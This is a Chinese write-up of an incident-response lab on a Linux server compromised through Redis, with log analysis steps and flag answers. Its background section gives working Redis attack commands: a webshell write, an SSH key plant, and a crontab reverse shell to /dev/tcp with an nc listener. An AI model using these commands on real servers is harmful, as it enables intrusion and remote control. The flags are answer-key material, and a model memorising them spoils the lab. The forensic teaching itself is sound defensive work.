01 前置知识
linux常用日志路径:
1:Apache:
/var/log/httpd/access.log
/var/log/apache/access.log
/var/log/apache2/access.log
2:Nginx:/var/log/nginx/
3:MySQL:/var/log/mysql/ /var/log/mariadb/
4:PostgreSQL:/var/log/postgresql/
5:PHP:/var/log/php/
6:SSH(认证日志):/var/log/secure /var/log/auth.log
7:Redis:/var/log/redis.log
8:系统日志:/var/log/messages
redis常见攻击手法:
redis未授权访问漏洞
利用redis写webshell
利用“公私钥” 认证获取root权限
利用crontab反弹shell
redis未授权访问漏洞
redis-cli -h 192.168.1.1
redis-cli -h 192.168.1.1 -p 写端口 -a 写密码
利用redis写webshell
利用条件:知道Web目录的路径,具有文件读写增删改查权限
redis-cli -h 192.168.1.1
#清空整个 Redis 服务器的数据
Flushall
#进入/var/www/html路径
config set dir /var/www/html
#写入配置库名称及存放的名字
config set dbfilename redis.php
#设置webshell的值为<?php phpinfo(); ?>
set webshell "<?php phpinfo(); ?>"
save
利用“公私钥” 认证获取root权限
利用条件:服务端存在.ssh目录并且有写入的权限
攻击机:
#生成公钥,将公钥输出到key.txt文件中
ssh-keygen -t rsa
cd /root/.ssh
(echo -e "/n/n"; cat id_rsa.pub; echo -e "/n/n") > key.txt
靶机:
#将公钥写入redis中
cat key.txt | redis-cli -h 192.168.1.1 -x set redis
#连接redis
redis-cli -h 192.168.1.1
#进入/root/.ssh路径
config set dir /root/.ssh
#设置文件名为authorized_keys
config set dbfilename authorized_keys
#查看路径下的文件名
config get dbfilename
save
连接靶机:
ssh -i id_rsa root@192.168.1.1
利用crontab反弹shell
攻击机192.168.0.105:
nc -lvnp 4444
redis-cli -h 192.168.0.104
#设置xxx的值为 反弹shell的内容
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.105/4444 0>&1\n\n"
config set dir /var/spool/cron
#写入配置库名称及存放的名字
config set dbfilename root
save
Redis配置文件路径:
redis配置文件为redis.conf
find / -name "redis.conf" 找到路径
一般路径为:/etc/redis.conf /etc/redis/redis.conf
linux篡改文件排查:
#查看近1天被修改的文件
find / -type f -mtime 1
#rpm查看被篡改的文件
rpm -Vf /usr/bin/*
rpm -Vf /usr/sbin/*
结果释义:
S:代表文件大小发生了变化
5:关键字代表文件的 md5 值发生了变化
T:代表文件时间发生了变化
#查看/usr/bin路径下最近10个被篡改的文件
ls -lt --time=ctime /usr/bin|head -n 10
02 题目
服务器场景操作系统 Linux
服务器账号密码 root xjredis
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
1、通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
2、通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;
3、通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;
4、通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交
5、通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;
1、溯源分析黑客攻击成功的 IP 为多少
需要分析redis日志,根据前置知识可知,redis日志在/var/log/redis.log中
可以直接用命令查找访问的ip,由图可知ip在第十列
cat redis.log|awk '{print$10}'|sort|uniq -c
#获取第十列数据
awk '{print$10}'
# 统计每行出现的频率
sort|uniq -c
根据查找到的ip,分别查看其在日志中的行为
192.168.100.13只见爆破,但未见登陆成功
192.168.100.20此ip成功登录
flag{192.168.100.20}
2、溯源分析黑客第一次上传的恶意文件
还是查看日志中给出的信息,linux中可执行文件后缀是.so文件,经过分析日志发现此处存在一个exp.so文件
find / -type f -name "exp.so"
确定为木马文件
flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
3、溯源分析黑客反弹 shell 的IP 为多少
其中redis有一种攻击手法为:利用crontab反弹shell
#查看计划任务
crontab -l
flag{192.168.100.13}
4、溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)
经过排查,恶意文件exp.so中没发现像是用户名的关键词,还有可能是黑客生成公钥的时候写了用户名
排查下
cat /root/.ssh/authorized_keys
在GitHub上寻找这个用户名:https://github.com/xj-test-user
https://github.com/xj-test-user/redis-rogue-getshell/commit
flag{xj-test-user-wow-you-find-flag}
5、溯源分析黑客篡改的命令
用户命令在/usr/bin路径下
有几种排查方法:
1、查看近一天更改的文件
find / -type f -mtime 1
此处并非真实应急环境,靶场不太可能每天更新,所以查看近一天更改的文件这个方法不太ok
2、用rpm排查文件是否被修改
排查命令是否被替换:
rpm -Vf /usr/bin/*
rpm -Vf /usr/sbin/*
结果释义:
S:代表文件大小发生了变化
5:关键字代表文件的 md5 值发生了变化
T:代表文件时间发生了变化
但此靶机为Debian系统,默认没装rpm
3、查找最新修改的前10个文件
ls -lt --time=ctime /usr/bin |head -n 10
此服务器是靶场,如存在篡改命令,可以通过查找最新修改的10个命令的方式去寻找
此处能明显看到ps文件存在异常,且权限为777也不太对劲,查看ps命令
发现异常,黑客对ps命令做了个备份,备份为ps_
这个脚本替换了原本的ps命令,用户输入ps命令,会调用ps_,正常显示进程,并且过滤掉包含threadd字符串的行
但如果想效果更隐蔽的话,可以再过滤个包含ps_的行,这样ps -aux也不会显示调用了备份文件的ps_ -aux ,更加隐蔽
flag{c195i2923381905517d818e313792d196}